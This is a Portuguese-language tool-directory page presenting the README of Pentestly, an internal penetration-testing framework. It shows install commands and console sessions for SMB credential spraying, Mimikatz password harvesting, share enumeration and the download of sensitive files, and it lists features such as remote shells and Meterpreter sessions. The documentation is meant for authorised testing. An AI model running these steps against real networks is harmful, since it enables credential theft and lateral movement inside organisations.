Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/praetorian-inc/pentestly
Frameworks de Testes de PenetraçãoEscalada de PrivilégiosReconhecimentoAtaques de SenhaExploraçãoMovimento LateralColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingArchived
GitHubpraetorian-inc/pentestly

pentestly

Framework de teste de penetração interna em Python e Powershell

Ver Repositório
7211374há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pentestly

Pentestly é uma combinação de ferramentas Python em expansão para uso em testes de penetração. O objetivo é utilizar uma interface de usuário familiar enquanto torna as contribuições para o framework fáceis com o poder do Python.

Post no blog: Pentestly Framework: When Pentesting Meets Python and Powershell

Autor: @ctfhacker / Cory Duplantis

Demonstração

asciicast

Funcionalidades atuais

  • Importar XML do NMAP
  • Testar autenticação SMB usando:
    • credenciais individuais
    • arquivo contendo credenciais
    • credenciais nulas
    • hash NTLM
  • Testar privilégios de administrador local para autenticação SMB bem-sucedida
  • Identificar compartilhamentos SMB legíveis para credenciais válidas
  • Armazenar nomes de contas de administrador de domínio/empresa
  • Determinar localização de processos de Administrador de Domínio em execução
  • Determinar sistemas de Administradores de Domínio logados
  • Executar comandos do PowerShell na memória e exfiltrar resultados
  • Executar Mimikatz para coletar senhas em texto claro da memória (Invoke-Mimikatz.ps1)
  • Receber um shell de comando (Powercat)
  • Receber uma sessão meterpreter (Invoke-Shellcode.ps1)

Ombros de Gigantes

Pentestly se apoia nos ombros de gigantes. Abaixo estão as ferramentas atuais utilizadas no Pentestly:

  • recon-ng - O banco de dados backend do recon-ng é lindamente feito e aproveitado no Pentestly para manipulação de dados

  • wmiexec.py - Permite executar comandos do PowerShell rápida e facilmente via WMI

  • smbmap.py - Utilitário útil para enumerar compartilhamentos SMB

  • Invoke-Mimikatz.ps1 - Implementação do Mimikatz em PowerShell

  • powercat.ps1 - Funcionalidade similar ao Netcat em PowerShell

  • Invoke-Shellcode.ps1 - Implantar Meterpreter em PowerShell

  • CrackMapExec - Fonte de inspiração para o simples servidor Mimikatz no Pentestly

Instalação

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

Uso

Vamos percorrer várias funções atualmente implementadas.

Alterar workspace

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

Carregar do nmap

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

Testar logins

Use arquivo com credenciais para testar login

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Use um único nome de usuário e senha

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Use credenciais em um pequeno subconjunto de IPs ou seja, sobre o 192.168.8.0/24 encontrado na tabela

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Coletar administradores de domínio e empresa

root@kitploit:~
[pentestly][project][login] > load get_domain # Note que a busca fuzzy - get_domain encontra get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

Executar mimikatz sobre IPs com direitos executáveis

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Mostrar administradores locais

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Mostrar administradores de domínio

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Mostrar novos compartilhamentos

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

Encontrar/Baixar arquivos interessantes

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

É possível alterar o pattern para algo mais especializado

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

Executar e baixar arquivos encontrados

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

Contribuindo

Criar novos módulos é fácil no Pentestly. Comece com o código fornecido em skeleton.py:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options
        
        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")
        
        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module

Os pontos principais aqui são preencher o dicionário meta com as informações correspondentes, bem como a função module_run para a funcionalidade do módulo.

Este script é então colocado na pasta modules/ ou na sua pasta pessoal ~/.pentestly/modules para portabilidade.

Fique atento para uma explicação detalhada de um exemplo de script nas próximas semanas.

TODO

  • Implementar módulo secretsdump.py
  • Adicionar funções utilitárias para consultas ao banco de dados, similar a creds, services
  • Refatorar a função draw_table para ter colunas de largura fixa
  • Importar credenciais do Gladius
  • Implementar módulo de busca e descriptografia de senhas GPP
  • Investigar o uso do Invoke-Shellcode

Histórico de alterações

0.1.0 (2016-02-18)

Lançamento inicial

Baixar ferramenta